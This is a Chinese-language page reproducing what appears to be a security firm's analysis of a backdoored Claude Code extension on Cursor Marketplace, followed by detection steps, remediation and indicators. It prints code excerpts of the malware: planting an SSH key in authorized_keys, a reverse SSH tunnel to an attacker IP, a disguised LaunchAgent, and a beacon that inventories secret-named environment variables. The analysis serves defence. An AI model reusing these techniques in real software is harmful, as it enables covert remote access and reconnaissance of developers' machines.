返回 文章 apply CMS 文章

Claude Code VS Code扩展在Cursor Marketplace中被植入后门

官方扩展被植入后门,跨平台部署SSH持久化访问,macOS上因权限检查缺陷部分失效但仍需警惕。

供应链攻击后门SSHCursor Marketplace
成长分 / 100 69 综合收获、行动、留存与影响

Claude Code VS Code扩展在Cursor Marketplace中被植入后门
为什么值得读了解供应链攻击的新案例:官方扩展在应用市场被篡改,影响开发者环境安全。

深入分析后门的多阶段感染链,包括SSH密钥植入、反向隧道建立和持久化机制。

关键洞察
  1. 后门通过注入IIFE在扩展加载时立即执行,无需用户交互,即可获得IDE权限访问本地文件。
  2. 攻击者植入Ed25519公钥到authorized_keys,并建立反向SSH隧道,实现长期交互式访问。
  3. macOS上因systemsetup -getremotelogin需要管理员权限,脚本误判SSH已开启,导致启用步骤被跳过,但密钥和持久化仍被部署。
转成行动

深入阅读

正文与原文对照

原文保真覆盖:全文原文字符:20470

TL;DR

Phorion 在 Cursor Marketplace 上的官方 Claude Code for VS Code 扩展包中发现了一个后门,该后门会在 macOS、Linux 和 Windows 上植入持久的 SSH 后门。本文主要关注 macOS,因为该扩展尝试在 macOS 上配置 SSH 后门并建立持久化。

各组织应立即检查其环境是否使用了 Claude Code for VSCode 2.1.312 或 2.1.313,并在发现使用该扩展时启动事件响应。

更新(2026 年 10 月 31 日): Cursor 的安全公告 现在指出,通过 Cursor Marketplace 分发的 macOS 和 Windows 版本 2.1.312 和 2.1.313 受到影响。本公告此前仅指出 2.1.313;下方受影响版本的指引已相应更新。

Phorion 发现 Cursor Marketplace 上的官方 Claude Code for VS Code 扩展遭到入侵,被植入后门的扩展包中包含一个持久的 Secure Shell (SSH) 后门。Cursor 已从其市场中移除了受影响的版本 2.1.312 和 2.1.313。

虽然该植入程序包含针对 macOS、Linux 和 Windows 的设置和持久化逻辑,但本文主要关注 macOS,并会顺带指出其他平台上的关键差异和一些实现缺陷。

Cursor Marketplace 为 Cursor 编辑器提供扩展。由于扩展以 IDE 和运行它的用户的权限运行,被植入后门的扩展在模块加载后即可立即访问本地文件、源代码和开发者工具。

值得注意的是,Phorion 发现恶意软件在尝试启用 SSH 的方式上可能存在一个疏忽。设置逻辑假设它可以在没有 root 权限的情况下检查当前的远程登录状态。当以标准用户身份运行时,systemsetup -getremotelogin 会打印管理员权限错误并以状态 0 退出,而不是返回 Off。由于脚本仅在输出匹配 Off 时才尝试启用 SSH,因此它完全跳过了启用步骤。在尚未运行 SSH 的 Mac 上,这个错误会破坏入站访问路径,尽管 SSH 密钥和持久化仍会被植入。

在本文中,我们将介绍该后门的工作原理、为什么 macOS 上的检查会失败,以及在整个设备群中需要关注什么。此有效载荷的目标是长期交互式访问,尽管 SSH 后门缺陷将 macOS 上的影响降至最低,但该恶意软件仍是一个重大威胁,因为它会安装持久化机制并将主机侦察信息回传给操作者。

感染链

Cursor Marketplace 扩展

被入侵的 extension.js 文件以一个注入的立即调用函数表达式(IIFE)开头,该表达式被前置到压缩后的扩展包中。扩展包的其余部分看起来与标准扩展无异,包含 Claude Code 和 VS Code 字符串、正常的 activate 和 deactivate 导出以及 UI 代码。

注入的前缀引入了标准 Node.js 模块(child_process、fs、os、path、http 和 crypto),并在 Node 加载文件时立即执行,甚至在扩展正常的 activate 回调运行之前。用户无需与扩展交互即可触发有效载荷。

阶段 1 - 准备 SSH 访问

首先,有效载荷确保 ~/.ssh 存在,并将攻击者控制的 Ed25519 公钥追加到 ~/.ssh/authorized_keys,将目录权限设置为 0700,文件权限设置为 0600。

该密钥使用的注释是 svc-telemetry。在追加之前,脚本检查的是 svc-telemetry 是否已在文件中,而不是检查密钥本身。在追踪此活动时,值得检查公钥指纹,而不是仅依赖注释字符串。

var sd = path.join(HOME, ".ssh"),
    ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
  fs.appendFileSync(ak, PUB + "\n");
  d.sshKey = "added"
} else {
  d.sshKey = "present"
}

此处,cur 保存 authorized_keys 的现有内容,PUB 是嵌入的攻击者公钥(此处已隐去)。

密钥就位后,任何持有匹配私钥的人都可以以该用户身份进行认证,前提是 SSH 确实正在运行。脚本的下一步尝试确保本地 SSH 守护进程已启用并正在监听:

  • Linux: 尝试通过 systemctl 启用并启动 sshd 或 ssh,回退到 service 和 /etc/init.d/。
  • macOS: 检查远程登录,如果报告 Off,则尝试通过 sudo -n systemsetup -setremotelogin on 启用它。
  • Windows: 尝试使用 PowerShell 安装并启动 OpenSSH Server。

这些步骤均不包含权限提升漏洞利用。非交互式 sudo -n 将失败,除非用户已缓存或配置了无密码 sudo,因此从标准用户上下文启动系统服务并不总是成功。

看起来 Windows 代码路径也有自己的缺陷:它通过一个硬编码了 /bin/sh 的辅助函数(det())传递 PowerShell 服务设置命令,这在标准 Windows 安装上不会走得太远。

macOS SSH 逻辑中的缺陷?

在 macOS 上,设置甚至在执行 sudo 命令之前就可能遇到问题。脚本在没有提权的情况下运行 systemsetup -getremotelogin,并将输出与 /Off/i 进行比对。仅当输出包含 Off 时,它才尝试启用远程登录:

// ...
else if (PLAT === "darwin") {
  var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
  d.remoteLogin = rl;
  if (/Off/i.test(rl)) {
    det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
    d.remoteLoginOn = "tried"
  }
}

注意,第二条命令(-setremotelogin on)使用了 sudo -n,而第一条命令(-getremotelogin)没有。当你在 macOS 上以标准用户身份运行 systemsetup -getremotelogin 时,你会得到以下结果:

You need administrator access to run this tool... exiting!

systemsetup 在没有管理员权限时拒绝读取该设置,将错误打印到 stdout,并以状态 0 退出。恶意软件的 ex() 辅助函数获取 stdout 并返回它:

function ex(c, t) {
  try {
    return cp.execSync(c, {
      timeout: t || 3000,
      stdio: ["ignore", "pipe", "ignore"],
      windowsHide: true
    }).toString().trim()
  } catch (e) {
    return ""
  }
}

由于输出是 "You need administrator access to run this tool... exiting!",/Off/i.test(rl) 的计算结果为 false。

因此,脚本跳过了 if 块,永远不会运行 sudo -n systemsetup -setremotelogin on。它实际上将“我没有权限检查 SSH 是否关闭”视为“SSH 已经开启”,这也解释了为什么当扩展以普通用户身份运行时,你不会在进程遥测中看到启用尝试。

此缺陷可能破坏访问链的最后一步。 如果 Mac 上尚未启用远程登录,出站隧道仍可连接到攻击者的服务器,但通过隧道转发回来的任何流量都将命中本地主机上关闭的 22 端口。

当然,这并非可以依赖的防御手段。如果用户已经启用了远程登录,或者之后将其开启,后门就已就绪并等待。

阶段 2 - 建立反向 SSH 隧道

接下来,脚本以 tunnel 用户身份在 22 端口建立到 134.209.82[.]225 的出站 SSH 连接。为了向攻击者的服务器进行身份验证,它解码一个单独嵌入的私钥:一个未加密的 OpenSSH Ed25519 密钥,注释为 svc-telemetry-tun。

在调查过程中,有必要将这两个密钥区分清楚:

  • 添加到 ~/.ssh/authorized_keys(svc-telemetry)的公钥使攻击者能够登录受害者的机器。
  • 嵌入的私钥(svc-telemetry-tun)使受害者的机器能够向外连接到攻击者的隧道服务器。

脚本将此隧道密钥写入操作系统临时目录,文件名以 .stk_ 开头,后跟主机名和主目录路径的 MD5 哈希的前十个字符:

var kf = path.join(
  TMP,
  ".stk_" + crypto.createHash("md5")
    .update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";

该隧道使用 -R *:0:localhost:22 进行远程端口转发。传入 0 会要求攻击者的 SSH 服务器动态分配一个监听端口,并将命中该端口的任何流量通过隧道转发回受害者机器上的 localhost:22:

Affected host -- outbound SSH tunnel --> External SSH server

Operator -- separate connection --> Server's allocated port
                                            |
                                 Through the existing tunnel
                                            |
                                            v
                                  Affected host's SSH:22
                                            |
                                  Login using the planted key

由于隧道以 -N 运行,它只是保持端口转发处于打开状态,而不在远程服务器上执行命令。当操作者想要访问该机器时,他们通过其服务器上分配的端口启动一个单独的 SSH 会话,使用阶段 1 中植入的密钥对受害者的本地 SSH 守护进程进行身份验证。这为他们提供了完整的交互式 shell 和文件传输能力,而无需在 JavaScript 本身中进行任何自定义 C2 命令处理。

SSH 命令还传递了一些标志,以保持连接安静且非交互:禁用主机密钥检查,忽略 known_hosts,启用 BatchMode 和 IdentitiesOnly,keepalive 设置为 30 秒(ServerAliveCountMax=3),并开启 ExitOnForwardFailure。

如果安装了 autossh,脚本会使用它;否则回退到标准的 ssh。它将连接包装在一个分离的重试循环中,每次尝试之间休眠 60 秒,在 Unix 系统上使用 pgrep 以避免启动重复的初始隧道。由于循环是分离的,即使用户关闭其 IDE,隧道也会保持运行。

阶段 3 - 保持访问可用

为了在重启后存活,脚本在初始分离隧道之外还设置了平台特定的持久化:

平台 产物 持久化机制 备注
Linux ~/.config/.smt, ~/.config/.smtk 写入一个 shell 脚本,重新创建隧道密钥并循环 SSH 连接,然后向用户的 crontab 添加一个 @reboot 条目。 crontab 检查中存在一个缺陷,在重复运行时可能会清除现有的用户 cron 任务(详见下文)。
macOS ~/.config/.smt, ~/.config/.smtk, ~/Library/LaunchAgents/com.apple.sysmond.plist 写入一个用户 LaunchAgent,以 true 设置运行带有 RunAtLoad 和 KeepAlive 的 /bin/sh ~/.config/.smt,然后通过 launchctl 加载它。 在用户上下文中运行,而不是作为 root LaunchDaemon。
Windows ~/.config/smt.cmd, ~/.config/smtk, %APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd 尝试创建一个名为 SysMon 的计划任务,在启动时以 SYSTEM 运行。如果失败,则将 sysmon.cmd 放入用户的启动文件夹。 创建 SYSTEM 任务需要管理员权限;启动文件夹回退方案在登录时以用户身份运行。

在 macOS 和 Linux 上,~/.config/.smt 脚本内嵌了隧道私钥,并在启动重连循环之前将其写出到 ~/.config/.smtk。

在 macOS 上,LaunchAgent 在 ~/Library/LaunchAgents/ 内伪装成 com.apple.sysmond.plist:

<key>Label</key>
<string>com.apple.sysmond</string>
<!-- ... -->
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>

阶段 4 - 主机侦察

最后,脚本收集基本的主机侦察信息,并向攻击者的服务器发送一次性信标:

  • 主机名、用户名、操作系统平台和架构
  • 主目录、当前工作目录和全局 Git 电子邮件(git config --global user.email)
  • 公共 IP 地址以及每个设置阶段的状态标志(例如是否添加了 SSH 密钥以及运行了哪种持久化方法)
  • 最多 40 个匹配 /KEY|TOKEN|SECRET|PASS|AWS|GCP/i 的环境变量名称(不是值)

环境变量检查使用 Object.keys(process.env):

Object.keys(process.env)
  .filter(function(k) {
    return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)
  })
  .slice(0, 40)

由于它只获取变量名称,信标不会泄露秘密值本身。相反,它为操作者提供了机器上存在哪些云凭据或 API 令牌的快速清单,以便他们知道应优先处理哪些主机。

为了获取机器的公共 IP,脚本查询 ifconfig[.]me,回退到 api[.]ipify[.]org。

然后它通过明文 HTTP POST 请求将 JSON 报告发送到 /beacon,同时发送到 134.209.82[.]225:8099 和 127.0.0.1:8099:

var r = http.request({
  host: h,
  port: p,
  path: "/beacon",
  method: "POST",
  timeout: 3000,
  headers: {"content-type": "application/json"}
}, function(res) {
  res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()

为什么它还将信标的副本发送到 127.0.0.1:8099,从样本中并不清楚;脚本本身并未在该端口上设置本地监听器。

信标使用 setTimeout 调度一次(初始设置运行后 1.5 秒),并用 res.resume() 丢弃任何 HTTP 响应。它纯粹是一次签到,让操作者知道主机已就绪,而 SSH 隧道处理实际访问。

检测机会

从检测的角度来看,在 macOS 上使用端点安全框架(ESF)遥测时,此链条中有几个行为很突出。

SSH 密钥和配置更改

由于恶意软件直接使用 Node 的 fs.appendFileSync 追加到 ~/.ssh/authorized_keys,仅监视 echo 或 tee 等 shell 命令触及 authorized_keys 的进程规则无法捕获它。这就是文件修改遥测至关重要的地方:监视 IDE 辅助进程(Code Helper、Cursor Helper 等)创建或写入 ~/.ssh/authorized_keys。

尽管 IDE 二进制文件本身是有效签名的,但其扩展宿主进程没有理由在后台修改 SSH 身份验证文件。

虽然你也应该监视 systemsetup -setremotelogin on,但不要将其作为对此活动发出警报的必要条件。正如我们在上面看到的,macOS 上损坏的状态检查意味着该命令通常根本不会运行。

用户 LaunchAgent 持久化

macOS 上的持久化设置为我们提供了几个强信号:

  • 一个非 Apple 进程写入带有 com.apple.* 标签(~/Library/LaunchAgents/com.apple.sysmond.plist)的 plist。
  • 一个配置为针对用户主目录中的隐藏脚本(~/.config/.smt)执行 /bin/sh 的 LaunchAgent。

由于初始隧道是作为分离进程生成的,并且 launchd 稍后直接管理 .smt,在实时进程树中,后续的 ssh 进程不会以 IDE 作为其直接父进程。将 .smt 和 com.apple.sysmond.plist 的文件创建关联回 IDE 扩展宿主,可以更容易地将链条拼凑起来。

SSH 隧道和后续访问

在进程和网络方面,查找:

  • 使用远程端口转发(-R *:0:localhost:22)启动的 ssh 或 autossh,以及从 /tmp/.stk_* 或 ~/.config/.smtk 拉取的身份文件。
  • 到 134.209.82[.]225 端口 22 的出站 SSH 连接,以及对 134.209.82[.]225:8099 的 HTTP POST 请求(以及对 127.0.0.1:8099 的连接尝试)。

如果你发现运行过此扩展的主机,重要的是检查隧道是仅仅建立,还是操作员实际通过它登录了。由于入站会话通过本地端口转发到达,SSH 日志中的成功登录将显示来自 localhost(127.0.0.1 或 ::1)使用 svc-telemetry 密钥进行认证。

修复

如果你识别出受影响的机器,仅卸载扩展不会移除后门。确保你的响应涵盖它投放的所有阶段:

  1. 终止活动隧道进程: 终止 /bin/sh 重试循环以及任何连接到 134.209.82[.]225 的 ssh 或 autossh 进程。
  2. 移除持久化: 在 macOS 上卸载并删除 ~/Library/LaunchAgents/com.apple.sysmond.plist(或在 Linux 上清理 @reboot cron 条目 / Windows 上的 SysMon 计划任务和启动脚本),并移除 ~/.config/.smt 和 ~/.config/.smtk。
  3. 清理 SSH 密钥和状态: 从 ~/.ssh/authorized_keys 中移除 svc-telemetry 公钥,删除 /tmp/.stk_*,并验证远程登录(SSH)未被意外启用。
  4. 轮换凭据: 如果主机上启用了 SSH,或者有任何入站登录的证据,轮换该用户账户可访问的任何凭据或令牌(尤其是那些匹配 KEY|TOKEN|SECRET|PASS|AWS|GCP 环境变量过滤器的)。

Phorion 的方法

Phorion 的开箱即用检测覆盖通过多个规则标记此攻击中使用的 macOS 持久化,包括非 Apple 进程创建 com.apple.* LaunchAgents 以及 LaunchAgents 从隐藏目录执行 shell 脚本。

除了持久化,Phorion 的文件访问遥测捕获 IDE 扩展宿主直接修改 ~/.ssh/authorized_keys,并且 Phorion Protections 可用于锁定 ~/.ssh/,以便只有授权进程才能首先读取或修改 SSH 密钥和配置文件。

如果你想了解 Phorion 如何在整个 Mac 设备群中检测和阻止此类供应链威胁,联系我们安排演示。

指标

样本和公钥指纹

指标 值 备注
SHA-256 ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 后门化的 extension.js 包
受害者登录公钥指纹 SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk 追加到 ~/.ssh/authorized_keys 的 Ed25519 密钥(注释 svc-telemetry)
隧道公钥指纹 SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ 用于向隧道服务器认证的内嵌 Ed25519 密钥(注释 svc-telemetry-tun)

网络指标

指标 类型 备注
134.209.82[.]225(TCP 22,用户 tunnel) IP / SSH 出站反向 SSH 隧道服务器
134.209.82[.]225:8099 (POST /beacon) IP / HTTP 外部主机报告信标端点
127.0.0.1:8099 (POST /beacon) 回环 / HTTP 本地信标目的地
ifconfig[.]me, api[.]ipify[.]org 域名 用于公共 IP 发现的合法服务查询

主机痕迹

痕迹 平台 备注
~/.<ide>/extensions/anthropic.claude-code-2.1.312-darwin-arm64 macOS(Apple Silicon) Cursor 安全公告中识别的其他受影响版本(<ide> 因编辑器而异)
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64 macOS(Apple Silicon) 已安装扩展目录(<ide> 因编辑器而异)
~/.ssh/authorized_keys(注释 svc-telemetry) 所有 植入的 Ed25519 公钥
<TMP>/.stk_<10 hex chars>(macOS 上为 $TMPDIR/.stk_*) 所有 操作系统临时目录中的初始隧道私钥(后缀是 MD5(hostname + HOME) 的前 10 个十六进制字符)
~/.config/.smt 和 ~/.config/.smtk macOS、Linux 持久化 shell 脚本和重新创建的隧道私钥
~/Library/LaunchAgents/com.apple.sysmond.plist macOS 执行 /bin/sh ~/.config/.smt 的用户 LaunchAgent
~/.config/.smt 的 @reboot cron 条目 Linux 用户 crontab 持久化
~/.config/smt.cmd 和 ~/.config/smtk Windows 持久化批处理脚本和隧道私钥
计划任务 SysMon Windows 启动计划任务(请求 SYSTEM)
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd Windows 启动文件夹回退脚本